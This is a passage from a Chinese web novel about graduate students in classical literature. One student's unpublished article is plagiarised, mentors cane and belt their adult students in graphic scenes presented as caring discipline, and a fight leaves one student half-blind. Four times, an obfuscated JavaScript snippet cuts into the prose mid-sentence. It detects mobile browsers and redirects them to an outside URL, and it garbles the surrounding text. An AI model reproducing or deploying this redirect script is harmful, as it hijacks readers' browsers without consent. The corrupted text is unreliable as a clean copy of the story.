身后皮带“啪啪啪”地往下抽,白皙的屁股上很快覆盖了一层鲜红,从臀尖向两侧慢慢晕染开,恍若红霞一般。柏阅冬手掌直拍桌子,“呜呜呜”地喊痛,眼泪慢慢涌上,一层层地堆积着。 秦昭阳却不管不顾,手里抓着刑具,抬手就抽,没有一点松动,看他屁股疼得左右扭动,却更加生气,“噼里啪啦”地抽打着,皮带着肉声如同夏日急雨。 “师父、师父……别……啊!啊啊啊!痛!师父!” “师父慢点!啊!疼死了!嘶——” “嗷!我的屁股!师父别打了!” 打得太急太多,柏阅冬甚至没数挨了多少,只知道停下时他的屁股像被揭去了一层皮,大面积的痛麻上牵扯着一道道细微的火辣,像是打破皮了。 他眼角含着泪,委委屈屈地抽泣了一下,正要问为什么打他,却听“啪”一声,秦昭阳把他们学校的学报砸在了桌面上,正在他眼前。 柏阅冬艰难地撑起身子,翻开学报,突然大惊失色。 “师父……这……”柏阅冬抬起头,不可置信,“怎么会这样的?” 柏阅冬翻到的那页,是一篇写元好问及其词作的文章,署名是姜新宇。 “你问我?”秦昭阳手里还拿着皮带,脸色铁青。 柏阅冬转过头,细细看了那篇文章,结构跟他们那篇分词学思想、词作内容、艺术特色和影响不一样。眼前这篇是按照词的内容搭建的并列式结构,每一部分详细论述一类词作的内容和艺术特色,词学思想则穿插在其中,解释这类词作出现及艺术特色形成的原因。可是柏阅冬认得出来,这就是拆解后重新组装了而已,这就是他的文章。 可是,怎么会在姜新宇那里的? 柏阅冬眼前浮现他们在校对室里的场景,他埋头翻文献,遂平在他右边写文章,对面的肖晩亭和盛超在说话,一旁的姜新宇在誊抄。姜新宇一直知道他们的进度,但是也不会知道得这么清楚,难道是肖晩亭?小姑娘跟他说的? 不对,不对,肖晩亭没看过他写的那两个部分,以肖晩亭的性子,不会不问自取。 不问自取……是姜新宇自己拿走的?难道是他放在校对室里,姜新宇趁没人的时候抄走的文章? “想清楚了没有?”一句问话,将柏阅冬拉了回来。柏阅冬基本能确定这就是自己的失误造成的,一时之间不知道该作何解释。 “师父,我没有想到,他会这样……” “啪!”皮带猛的抽下来,柏阅冬撑不稳,朝前撞上桌子边缘,肚子硌得生疼,叫都叫不出来。 “他会怎样我管不着,我只问你,你的文章为什么会落到别人手里?!” 柏阅冬两眼泪花,牙关直打颤:“师父,我……我放在桌子抽屉里,我……” “啪!” “啊!!师父……” “你知不知道这是什么?你就随随便便放在桌子里!活该你的文章被人家抄!” 柏阅冬看到文章时只有迷茫,兼之挨了打,没那么快反应过来这件事到底意味着什么,这会慢慢回过味来,这文章一发就是姜新宇的了,他起早贪黑辛苦好几个月的劳动成果就这样挂上了别人的名字,以后这个研究领域别人绕不开的名字就不是他柏阅冬,而是姜新宇。 这本就够让人沮丧的了,师父这么一说,他就更加委屈,眼泪顿时涌了出来,呜咽着哭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14840830|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可秦昭阳见他一哭,却是恨铁不成钢,扬起皮带又“啪啪啪”地甩了下去,将一个屁股抽得高肿不堪:“哭有什么用?现在知道后悔了?来不及了!” “啊!!痛……师父不要……” 柏阅冬细皮嫩肉的,经不得打,一连挨了三四十下,臀尖处就渗出了血丝。秦昭阳本不解气,可看到他那模样,却打不下去了。 “你自己说,怎么办?”秦昭阳气恼地将皮带丢在桌上,“现在还不是一篇文章的问题,这篇文章以后要拿来当这套笺注的序言,怎么?署姜新宇的名字?” 柏阅冬抽抽噎噎的,嘟囔着:“我要去找他,让他把文章还给我。” “好,你自己捅出的篓子,你自己去补!”到底是自己花了不少心血带起来的大弟子,秦昭阳也心疼,见他好久都起不来,便伸手去扶,“能不能起来?” 柏阅冬不敢看师父,歪歪扭扭地靠桌站着,一边掉眼泪一边穿裤子。秦昭阳见他真委屈着了,忍不住放轻声音道:“别哭了,多大个人!” 柏阅冬疼得眼前发黑,可不知怎么的不愿意撒娇了,擦擦眼泪道:“我先回去了,师父再见。”说着自己一瘸一拐走了。 跟柏阅冬不同,刘巍思早几日就回来了,今日一早上隔壁学校溜达去了,午后才回来。一回家,只见老师背对门口坐在沙发上,低垂着头,好像在看什么。刘巍思玩心大起,放轻手脚,从后面一下扑过去,笑着大叫:“老师!” 严先生被吓了一跳,不怎么恼,只是勉强笑笑:“玩够了?” “嗯,老师在干什么?”刘巍思没察觉老师的异常,盯着老师放在面前的学报,上手翻了翻,“今天送来的吗?怎么都没什么好看的?也没一篇我用得上的,哎?姜新宇发文章了?元好问,秦老师指导的吗?等一下,这不是阅……” 刘巍思突然意识到了什么,不说了。 严先生轻轻揉揉他的脑袋,温声道:“去帮老师打个电话给你大师兄,让他来一趟。” 刘巍思眼前闪了闪,缓缓蹲在老师跟前,抬头道:“老师,大师兄可能也不知道的。” “你不要管,去打电话就是。” “老师!”刘巍思急急地叫了一声,“事情可能不是我们想的那样,大师兄他,他不会做这种事的。” 刘巍思知道,老师虽然平日待学生温和慈祥,可有些事不能做就是不能做。老师以前说过,姜新宇犯了错,他们也是管不了的,但如果大师兄真的为了帮姜新宇做过什么不该做的事,恐怕要吃不了兜着走了。 “去吧,等他来了,就知道了。” 刘巍思看着老师,只看见老师眼底深不可测的黑暗。 68.第 68 章 在老师眼皮底下,刘巍思没有什么通风报信的机会,更何况,以他大师兄刻板迂腐的性子,知道老师要问罪,定然是要主动送上门来的。 刘巍思跟大师兄转达了老师的要求,听到那边说马上过来之后的嘟嘟声,忐忑不安地放下听筒,轻声道:“老师,大师兄说他现在就来。” 一码归一码,严先生不想吓着他,浅浅笑了,问:“小庄和冬冬是不是都回来了?” “我不知道。” “那你正好去瞧瞧,家里有荷花酥,过年的时候别人送来的,你带去和他们一块吃。” 刘巍思自然知道老师要支开他,却不愿意走这个台阶,仍回到老师跟前,闷声道:“我不爱吃,我不想去。” 刘巍思当易堂生的师弟也五六年了,平时有点什么不周到的,轻则挨骂,重则棍棒上身,他也没少在老师跟前和心里说大师兄坏话。可是真到了老师要教训大师兄的时候,他却只感到害怕。 比自己挨打还要怕。 “巍思,这事同你没有关系,你不要卷进来。” “我知道,”刘巍思跪在地上,撒娇似的抱着老师的腰,“我跟姜新宇也不好,他发什么文章我都不管。可是,大师兄也是无辜的,他肯定不知道的,老师您别怪大师兄。” 严先生笑笑:“你什么时候这么向着你大师兄了?” 刘巍思没有说话。严先生又叹气,道:“也不全怪他,说到底,是我太放心他了。他还没有当过老师,我却把新宇的事都推给他。” “不是的,老师,姜新宇他自己这么大了,什么能做什么不能做,他自己心里要有数的。如果他铁了心要做这种事,谁也拉不住他。”到紧要关头,刘巍思倒没心思抱怨姜新宇了,只想着把大师兄和老师从这件事里拉出来,“老师早就说过他的性子要磨,可是还没磨好,他就自己走到邪路上去了,这是没有办法的事。” “巍思,”严先生摸摸他的头发,缓缓道,“你要发誓,你绝不会……” “我发誓!”刘巍思猛地抬头看向老师,“我绝不会偷盗、抢占他人的劳动成果,我绝不会为了名声荣誉违背自己的良心和老师的教诲,我绝不会因为我的所作所为让别人说老师一句不是。” 严先生无力地点点头:“好,老师相信你。” 易堂生家离学校很近,骑着自行车进来,不一会儿就到了。进门时看见刘巍思跪在地上跟老师说话,还以为是师弟犯了事,跟老师问好之后便道:“巍思又做什么惹老师生气了?” 刘巍思讪讪地起身,没有回答,心想,这回可真不是我了。 严先生拿起茶几上的学报递过去,易堂生心领神会,双手接过,慢慢翻看。 “巍思,去书房,取老师的教鞭出来。” 刘巍思偷觑一眼大师兄,点点头,默默去了。 易堂生看到姜新宇那篇文章时,正碰上刘巍思两手拿着教鞭出来,但总觉得这场面不像是刘巍思要挨打,不敢多问,只道:“老师,新宇这篇文章确实写得不错。” “你看过了是不是?” 问的是发表之前,易堂生点点头:“上个学期的事了,他本来不是这个结构,我给他提了点意见,没想到他就照着改了。” 刘巍思不自觉攥紧了手里的竹鞭。 “你觉得,这是他能写出来的文章?” 易堂生顿时色变。 “你看过,阅冬的文章没有?” 易堂生呆滞的脸上又闪过一丝迷茫。 “俗话说,文如其人,这句话说阅冬是最合适的。他年纪小,聪明,而且知道自己很聪明,所以就骄傲。他写文章喜欢用比喻、双关,描述准确精当,透着一股别人都没我写得好的得意劲,那就是他的文气。你就算肢解了他的文章,他的气还是绕在那里,怎么看,都是他的文章。” 这话说出来,别说易堂生,就连刘巍思都震惊了。要说看柏阅冬的文章,他看得比老师多多了,可是他竟然没有注意过阅冬的行文风格,老师却如此了如指掌。 “新宇的文章你看过不少,你觉得他的文章,比之阅冬,如何?” 说到这份上,易堂生已经知道老师是什么意思了,可心底却怎么都不愿意相信,道:“老师,也许是秦老师和阅冬指点过……” “不要顾左右而言他,我只问你,新宇写不写得出这样的文章?” 易堂生垂下了头,没有言语。 严先生沉默了一会,扭头道:“巍思,教鞭给老师,你回房去。” “老师!”刘巍思眉头紧皱,万分不愿意,却还是在老师无声的催促下双手递了竹鞭出去,“老师,您别生气。” “回去吧。” 这个关头上,刘巍思不愿跟老师犟,担心地看了师兄一眼,拖着步子往房间去了。 回了房也是不能安心的,刘巍思关上门,耳朵却贴在门上,指望能听见些什么。可老师和师兄都没有大吼大叫,话语细细碎碎地传进来,分辨不出到底什么内容。刘巍思焦急地将耳朵往木门上怼,还是听不出完整的句子。 正烦躁之际,一声响亮的“啪”传进来,吓得他一哆嗦,眼眶不知怎么就湿了。 大师兄挨打了。 抽打声不疾不徐,反而带着某种节奏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14871458|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“啪——啪——啪——”,刘巍思想象着竹鞭隔着裤子落在大师兄的屁股上,大师兄定然跪得直板板的,动也不动,咬紧牙关不哼一声,好像一点也不疼似的。 从前他在大师兄那里受了委屈,不止一次地撺掇过老师收拾师兄一顿,老师总是宠溺地笑笑,说要是你大师兄真挨了打,你就该心疼了。 是,要是大师兄真挨了打,他就要心疼死了。 刘巍思贴着门,眼泪“唰”地淌下来。 可是门外的责打声还是清晰无比地传进来,刘巍思甚至不敢数老师打了多少。 客厅里,易堂生已经跪不住往前倒去,两手撑在地面,不让自己太狼狈。严先生见他如此,有心让他缓一缓,道:“我知道姜家对你有恩,你要报恩我不会拦你,但你这样做,只不过是在害他。更何况,你将来要走这条路,日后有了自己的学生,你又如何做?” 易堂生咬咬牙,跪直身体:“老师,学生知错了,将来若是为人师表,定然对学生严格要求,绝不让他们有一丝一毫侥幸心理,绝不让师门蒙羞!” “这是你自己说的,你要一辈子记得你说过的话。” “是,学生谨记。” 短暂的交流结束,竹鞭再次从高处落下,重重抽在易堂生的臀上,易堂生一声闷哼堵在嗓子里,憋得一张脸通红。火辣的疼痛重新燃烧起来,让他背上、额上都渗出了薄薄的汗,腰背因为不断受力而渐渐无法维持挺直的跪姿,一点点歪下去。 易堂生和别人很不一样,他是个不会委屈的人,老师打他,他只觉得自己该打,绝不会像刘巍思一样觉得老师打重了,因此即使已经挨到撑不住了,他都没有生出一点要躲的心思。 人几乎跪不住了,但屁股始终朝着竹鞭落下的方向——这是他虔诚的态度。 但他受得住,刘巍思却受不住,在房里听了这么久,哭了一脸的泪,终于心一横,打开门冲了出来,见老师的竹鞭扬得高高的,脑子一片空白,飞身扑了上去,“啪”一声炸响,他的侧腰像是被刀子割了一道,疼得他惨叫出声。 他这一扑,把老师和大师兄都吓着了。 他哭着起身,跪在老师跟前,抱住老师的腰:“老师不要打,不要打师兄……” 先反应过来的是易堂生,尽管虚弱无力,却仍冷脸训斥:“刘巍思,你在做什么?还有没有规矩了?!” 严先生缓过劲来,低头摸摸刘巍思的头,轻声问:“打着哪里了?” 刘巍思摇摇头,眼眶红红的:“没打着,老师别打师兄了,师兄知道错了……” “好,不打了,巍思别哭了。” 69.第 69 章 虽然易堂生硬撑着说没事,但身体却不听指挥,只得任由刘巍思将他送到医院,并按在病床上躺着。 看着刘巍思前前后后帮他办手续,易堂生颇为动容,但嘴上却说不出一句实话,反而质问道:“什么时候老师教训人,也轮到你说三道四了?” 刘巍思不由得翻了个白眼,敷衍道:“是是是,我错了,等您好利索了再教训我吧!” 易堂生想骂他,却没多大精神,只好先交代道:“新宇的事,你不要插手,等我好些了,自会去找他。你要是节外生枝,到时候也别怨师兄心狠手辣了。” 刘巍思想,你们那点破事,谁爱管啊? 只是还没等易堂生去找姜新宇,柏阅冬已经有所行动了。正式开学第一天,姜新宇那几个就有童院长的课。下了课,童院长从教室里走出来,碰上门外的柏阅冬,笑道:“小伙子,今天穿得很精神嘛!” 柏阅冬哪天不精神?要是换了平时,他不知道说出多少好话来哄童院长高兴,只是今天没多大兴致,勉强笑笑:“童院长好。” 童院长很喜欢他,年纪小,本事大,尤其是上回在论坛上大出风头,让那位周老先生对他印象深刻,大大推进了童院长的挖人事业。此时见到他,童院长便不得不说这件事:“你记不记得周懋恭周先生?他上次见了你,高兴得很,后来写信给我,特地问你有没有写新文章,有的话一定要给他看看。不如这样,阅冬,你也给周先生写封信,他肯定欢喜。” 他一欢喜,就会答应到我们这儿来教书了。童院长美滋滋地想。 可是柏阅冬小孩心性,哪里知道被这样一个老先生惦念是多大的福气?满心只想着去跟姜新宇掰扯清楚文章的事,赶紧道:“童院长,这事下次再说,我找姜新宇有点事,我下回再……” “哦,”童院长才发现自己耽误了小孩的事,忙摆手道,“那你去吧,是不是又是你们那校对的事?不急,不急的啊,心急吃不了热豆腐。” “是是是,童院长您慢走。” 硬着头皮送走了老院长,柏阅冬气势汹汹地冲进教室,看着正和其他人谈笑风生的姜新宇,硬邦邦地叫了他的名字:“我找你有事。” 姜新宇不慌不忙:“柏师兄找我有什么事?” “我们去校对室说。” 一旁的肖晩亭还没见过师兄这副模样,不由得吓了一跳,再看姜新宇,志得意满,胸有成竹,场面一时之间有些诡异。 姜新宇点点头,收拾东西,跟着柏阅冬往校对室去了。 这个校对室从开始启用到现在已经大半年了,五六张桌子上,复印的文献摆得满满当当,靠边的两张桌子上放着电话、热水壶、几个搪瓷水杯,最里头的书架整整齐齐地叠放着稿纸、墨水等常用的文具。他们俩和庄遂平是最早在这里干活的,无论姜新宇如何,柏阅冬对这个地方是有感情的,如今要在这里说那些肮脏的事情,他自己都觉得难堪。 可是无论如何,这事一定要说清楚。 两个人的密闭空间,柏阅冬反锁了门,却没有开灯。春日还未完全到来,四五点天就昏昏沉沉,没有照明,他们几乎看不清对方的表情。 可是没有表情,还有语气。 姜新宇问他叫他来有什么事,柏阅冬只听出了轻佻和得意。 柏阅冬深呼吸,道:“我问你,学校学报上你那篇文章是怎么回事?” 昏暗中,姜新宇嗤笑一声:“柏师兄看到了啊,这不是明摆着的吗?我写了篇文章,投稿,发表。柏师兄不会是不准我发文章吧?” “你要发文章,我当然管不着,但你敢说那篇文章是你自己写的?” “那,不是我自己写的,还能是谁写的?”如果柏阅冬看得清,就会看见姜新宇挑眉的动作,几乎有点像挑衅了。 柏阅冬不是什么有耐性的人,见他不肯承认,只好直说:“姜新宇,你那篇文章,根本就是我那篇拆分之后重新组合的。我不知道你什么时候拿到我的文章,但你就是在抄袭,现在文章发出去了,你要去撤回,然后道歉,知道吗?” 姜新宇沉默了一会,让人分不清是在心虚还是慌张,可一开口,却完全不承认柏阅冬的说法:“柏师兄,我不明白你的意思,我拆了你哪篇文章呢?里面提到的词学思想,确实是引用了你在论坛上汇报的那篇论文,可是我已经作了脚注了,难道这也是抄袭?” “姜新宇,你不要避重就轻!”柏阅冬提高了声调,“我说的是我还没写完没发表的那篇!我当时就放在桌子抽屉里,你抄走了对不对?然后换了个结构,署上你的名字,难道严老师没有告诉你这是剽窃是偷盗吗?” “柏师兄,你有证据吗?你这样凭空污蔑,简直不可理喻!”姜新宇调子也高了,听着像是生气了。 柏阅冬气得跳脚,想象中姜新宇应该万分心虚,被他找上就立刻战战兢兢地道歉才对,怎么会这么难缠? “好,你说文章是你自己写的,那你肯定修改了很多次,你拿原稿出来。” 姜新宇笑出了声:“柏师兄,你有没有搞错?是你在指证我抄袭,不应该是你拿证据吗?怎么反而要我自证清白?” “好,你等着,我拿我的稿子出来。” “柏师兄,虽然老师们都说你聪明,可我觉得你很笨。”姜新宇的声音渐渐冷下去,“现在发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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柏阅冬身量小,也不如姜新宇有劲,打了一阵就被姜新宇完全压制了,可他不甘心,拼命反抗,手脚胡乱踢打着,突然不知一脚踹在哪里,只听姜新宇低低咒骂一声,随后脖颈上传来一阵凶狠的劲,抵着他往桌上撞,他惨叫一声,扑倒在地,桌上的热水壶终于坚持不住,“乓啷”碎在地上,塑料外壳挡不住这么大的劲,热水和玻璃瓶胆碎片飞溅,柏阅冬猛地闭上了眼睛:“啊!!” 姜新宇裤脚被溅湿了,昏暗中看不见柏阅冬的动作,只听见他一声声惨叫,喊着好痛,喊着救命。姜新宇站了一会,扭头朝门口走去,打开门锁,走了。 70.第 70 章 柏阅冬是被肖晩亭送去医院的。肖晩亭本来已经快到宿舍了,可是突然想起明早见老师要用到一些资料,便折返回去,路上还碰到姜新宇匆匆忙忙的,有些狼狈,不似平日从容。她挥了挥手跟他打招呼,但对方只是僵硬地笑笑,快步走了。 肖晩亭耸耸肩,自顾自去到校对室,就被眼前的景象吓得尖叫出声。 没想到的是小姑娘看着柔弱,实际却很冷静,立刻把师兄送往医院,随后便给秦昭阳打了电话。 秦昭阳在电话里只听得“出事”“医院”这样的字眼,登时魂飞魄散,连晚饭也顾不上吃,匆匆忙忙披了件外套就飞奔出门,刚从厨房盛饭出来的妻子见了,大喊道:“你赶着上哪儿去?饭不吃了?” 但她只听到“砰”一声,门被摔上了。 秦昭阳赶到医院时,柏阅冬还在急救,肖晩亭站在走廊上,手里拿着几张单子,眉眼间有些着急。 “晩亭!” 肖晩亭一听这声,悬在空中的心顿时落下:“老师。” “出什么事了?”秦昭阳气喘吁吁。 “我也不清楚。我本来想回办公室拿东西的,一开门就看见里面桌子椅子全都倒了,师兄蜷在墙角,脸上好多血……” “除了他,没别人了?” 肖晩亭摇摇头,脑海里蓦然浮现出姜新宇匆匆忙忙的身影,总觉得不太对劲,可是又不知道二者是否有联系,没敢乱说。 秦昭阳不知道事情始末,也不知道柏阅冬到底什么情况,既担心又烦躁,盯着急救室的门想,要是柏阅冬这死小孩是不长脑子不长心眼把自己搞伤的,非打烂他那个屁股不可! 度秒如年地过了小半个小时,秦昭阳终于看见那扇门开了,一个中年男医生边摘下沾着血迹的手套边往外走。他急急忙忙迎上去,问:“大夫,那个孩子怎么样了?” “你是他的家属吗?” “我是他的硕导,他的家人都在国外。” 医生不紧不慢地摘下口罩,又问:“硕士,读什么专业的?” 秦昭阳更烦了,又不能不回答:“文学,古代文学。” 医生点了点头,却没再继续说这个,只道:“他的右眼,可能会失明。” “什么?” 后面的话秦昭阳听不见了,只看见灯光下医生的双唇一闭一合,似乎还说了很多话,可是后来每一次回忆起那个晚上,他都只能想起一些零碎的话语。 “玻璃碎片伤到了眼睛……” “他的情绪不是很稳定……” “最好还是让他家人来一下……” 秦昭阳不知怎么的想起了秦嘉辰,想起女儿和大弟子在学院的楼梯口依依不舍分别的场景,忽然觉得,他们能那样在一起,其实也很好的。 “那个,医生,我能见见他吗?” 医生点了点头:“他还在昏迷,要等他醒来,需要我们告诉他眼睛的事吗?” “不用!”秦昭阳舔舔嘴唇,“我、我来说就好。” 秦昭阳到了半夜才见到柏阅冬。那会儿他早就把肖晩亭打发回去了,医院里静悄悄的,陪护的家属和值班的医生护士说话都轻声细语,走路也放轻了步子。秦昭阳坐在病床旁边,问他感觉怎么样。 柏阅冬的右眼上盖着厚厚的纱布,四周贴着胶带,额头和脸上也有一些细碎的伤口,结了痂,就算清理干净也还是显得狼狈。 柏阅冬左眼一眨一眨的,说右眼痛。 秦昭阳苦涩地笑了笑,问:“怎么搞成这样的?” “是姜新宇!”柏阅冬拍了拍床板,发出闷闷的砰响,“他现在说是我抄他,气死我了!” 秦昭阳眉头蹙了起来:“是姜新宇弄伤你的?” “对啊!等我好了,我要上严老师那里告他的状!” 秦昭阳脑海里突然浮现出小孩子在严先生家里撒娇的场景,严先生最喜欢小孩子,肯定笑吟吟地听着,末了便摸摸他的头,温声道,等我问清楚,要是新宇做错了,我让他给你道歉。 眼眶蓦然红了,秦昭阳什么也说不出口,只道:“等你好了再说。” 柏阅冬觉得师父有点奇怪,怀疑是自己受伤了他不好发作,等伤好了说不定还得挨打,便趁机占便宜:“师父,我都伤成这样了,您别打我了呗!” 秦昭阳觉得再呆下去,眼泪就要掉出来了,赶紧道:“好,不打你,快睡吧,养足精神,伤好得快。” “嗯,那师父您回去吧,太晚了,您也回去歇着。” “好,你睡了师父就走了。” 静悄悄的病房走廊,秦昭阳在靠墙的椅子上坐了一夜——出了这样的事,他不可能睡得着。学生出事了,他怎么跟学院和学校交代?怎么跟学生的家长交代?怎么跟……跟辰辰交代?最重要的是,他捧在手心里的天之骄子,他最最心爱的大弟子,以后要怎么办? 骄矜的小孩子还在等自己伤好,如果他知道自己右眼看不见了,会怎么样? 医生说,比起那些双目失明的人,他已经很幸运了。可是,他原来不是和那些人比的,他是最好的学校里最优秀的硕士生,无论多大规模的学术会议,他都能毫不怯场,大大方方地汇报自己的研究成果,然后在别人的连声夸奖中骄傲地扬起头。哪怕是上千公里外的学校,听见柏阅冬的名字,也会点头赞叹,说他年纪轻轻本事不小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14908946|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。就连周懋恭那样的老先生,都会对他念念不忘…… 柏阅冬的事情还没有传开,一地狼藉的校对室在第二天一早把来开门的盛超吓了一跳,以为遭贼了,可是他们这也没什么值钱东西,小偷要偷也是偷老师们的办公室吧! 盛超挠挠头,弯下腰把倒了一地的桌椅翻起来,又蹲下来收拾地上的纸笔,捡着捡着突然看到一张写满了字的稿纸,顶上印着他们学校的大名。 但最吸引他的,是稿纸上的内容——退学申请书。 盛超一目十行扫过去,这篇申请写得可谓条理清晰一气呵成,说自己在入学前对硕士生活抱有幻想,入学后却发现自己基础薄弱、能力不足、欠缺信心,老师的严格要求不仅没有帮助到自己,反而让他备受打击,在多重压力之下,他只能提出退学申请,提前结束痛苦煎熬的研究生生活,希望老师和学校能够同意。 那一手字,写得非常漂亮,落款处是盛超意料之中的三个字——庄遂平。 盛超还没反应过来,手上的稿纸却被一下夺了过去,他回过头,看见目光躲闪的师兄。 盛超站起来,问:“师兄要退学了?” “与你无关。” “我看上面的时间是上学期期末,看来师兄早就有这个想法了,但是并未付诸实践,可能,不是真的想退学吧。” 稿纸在庄遂平手心被揉成一团,,随之攥紧的,还有他的拳头。 想是真的想过,可是他下不了决心,也许是对阅冬和巍思还有不舍,也许是对纪慎还有不切实际的幻想,也许是对偶尔的快乐还有眷恋,总之就是没有把申请书交出去。 寒假他回了家,可是家里人对他一如往常,几乎断了他的后路——他一旦退学,就更加无路可去。 可是,他的心思却被别人发现了。 “师兄不是真的想退学,但又要写这篇申请,是为了交换什么吗?” 盛超上个学期末发了文章,纪慎很高兴,寒假前开了一次会,特别表扬了盛超,甚至请大家吃了点心,师兄们也都跟着乐呵呵地夸,只有庄遂平怎么都高兴不起来。 盛超越厉害,越显得他差劲。 “师兄觉得,你这样做,老师就会多关注你,对吗?” 庄遂平忽然疲惫不堪,提不起一点力气:“我没有这样想。” “如果不是这样,那师兄的做法真是令人费解啊!” “我的事情不用你管!”庄遂平板起脸,“管好你自己!” 盛超一脸笑意,本还想说什么,一抬头,却看见门外的纪慎:“老师。” 庄遂平跟着回过头,手里的纸团攥得更紧了:“老师。” 71.第 71 章 “你们在干什么?”纪慎看看他们,又看看那一地凌乱的东西。 盛超笑了笑,道:“师兄说要退学。”语气平常,就像说早餐吃了俩包子一样。 纪慎目光一黯,缓缓看向庄遂平,平日本就木讷的学生此刻垂着头,耷拉着肩膀,一副要死不活的样子。 比意外更多的,是愤怒。纪慎冷声问:“是吗?庄遂平。” 庄遂平好像退到了一条绝路上,后背抵着坚实的墙壁,想往前一步,却发现前方突然变成了悬崖,他进退不能,只能小心翼翼地横向移动,期望他看不见的地方会有一条新路。 绝望地,又不甘地。 庄遂平将手里的纸团攥到最小,低声回答:“没有。” “那怎么搞成这个样子?” “不是我,”庄遂平舔舔嘴唇,又补充道,“不是我们。” 他很怕老师以为自己把责任都推卸给盛超,所以还要顺便帮盛超澄清。 纪慎两手抱在胸前:“我是问,你不想退学,那盛超怎么说你想退学?” 神经末梢好像被电了一下,庄遂平发现自己又说错了话。他直接说没有,岂不是说盛超撒谎?可是盛超是老师最喜欢的学生,怎么会撒谎呢? 撒谎的只能是他。 可是,这就是逼着他自己迈出步子,从悬崖上跳下去啊! 他已经,没有路可以走了。 这时,盛超说出了自己的推测:“老师,师兄也许是有别的诉求。” 纪慎没有移开目光,但显然把话听进去了,点了点头:“好,有什么诉求,可以告诉我。” 庄遂平苦笑一下,没有说话,他不能再说没有,也不能说有。 惹怒老师和违背本心两件事,他都不愿意做,到最后,只剩下闭嘴这一个选项。 “看来是在这里不好意思说,那跟我来吧。”纪慎撂下一句话,抬脚走了。 庄遂平看着老师的背影,失魂地眨了眨眼。 经过上个学期,盛超已经完全知道接下来会发生什么,转了一圈手里的笔,笑道:“其实,如果一直这样的话,退学也是一件好事,至少,老师和师兄都不用这么辛苦。” 庄遂平转过头去,只看见盛超轻蔑的笑。 进老师办公室前,庄遂平把手里的纸团塞进了上衣口袋里,虽然这样做已经没有什么意义了。 关上门的瞬间,“咔哒”声传进耳朵里,让他忽然预感到,这将是他最后一次锁上老师办公室的门,以后再不会在这里挨打了。 可是他没有感到轻松,预想中退学以后一身轻的松快感并未出现,只觉得全身上下都灌了铅,让他沉沉地往地下坠去。 他已经想不起来在这个办公室挨过多少次打,却能想起来有那么几次,老师一边打一边告诉他很多事情,也能想起来师兄说过老师喜欢他,还能想起,他极少数时候在这个地方产生的一丝丝归属感。 那是在家里也没有的。 但现在,他就要失去这一切了。 庄遂平不等纪慎发话,径自走到纪慎身旁,沉默着褪下裤子,两手撑在桌子上,摆出了挨打的姿势。 就像是,在走退学流程。 可纪慎没有动手,只是皱起眉头,问:“你这是什么意思?” 庄遂平不知道自己是什么意思,只是觉得,到了这里,就该这么做。 “你是不是觉得,无论什么事都是挨顿打可以解决的?” 好像是吧,反正过去的事,也都是这样过去的。 “退学的事,是不是真的?” 庄遂平想,他真的不知道该如何回答了。 可纪慎没有看见他的为难,只是被他那一副受尽了委屈的哑巴模样惹恼了,抓着戒尺站起身,一手按住他的腰,一手挥下戒尺,“啪啪啪”在他屁股上抽了好几下。 庄遂平只是咬紧了牙关。 “你自己心里怎么想的,你不知道是不是?”纪慎一句话问得满是怒火,过了几秒没有得到回答,又继续扬起戒尺对着他屁股抽,一阵“噼里啪啦”声过去,那两团肉已是一片绯红。 庄遂平疼得泛出了泪花。 “说话!” 这分明是一个很好的解释机会,但是他仍然选择了沉默。 他知道他还是抵着墙根站着,他的面前仍然是深不见底的悬崖,他一说话,就会掉下深渊,不说话,就是等着老师推他下去。 但是,会不会还有一种可能? 也许,他依然一点一点横着挪动,动着动着,老师就会发现他无路可走,就会伸手拉他一把。 会不会? 纪慎始终黑着脸,等了好一会,还是没听到他的声音,不由得怒火中烧,攥紧了戒尺,道:“那就打到你说为止。” 说到做到,戒尺“啪啪啪”地落在两个肉团上,一下接一下,没有片刻停歇。臀尖到臀腿那一片全打成了鲜艳的红色,还在不断加深,皮肉在戒尺的凌虐下渐渐肿起,犹如发面馒头。庄遂平分明疼得厉害,却始终咬着牙,不肯出一声,只有浑身发热,额头、手心等处都渗出了汗。 纪慎打过他很多次,厉声呵 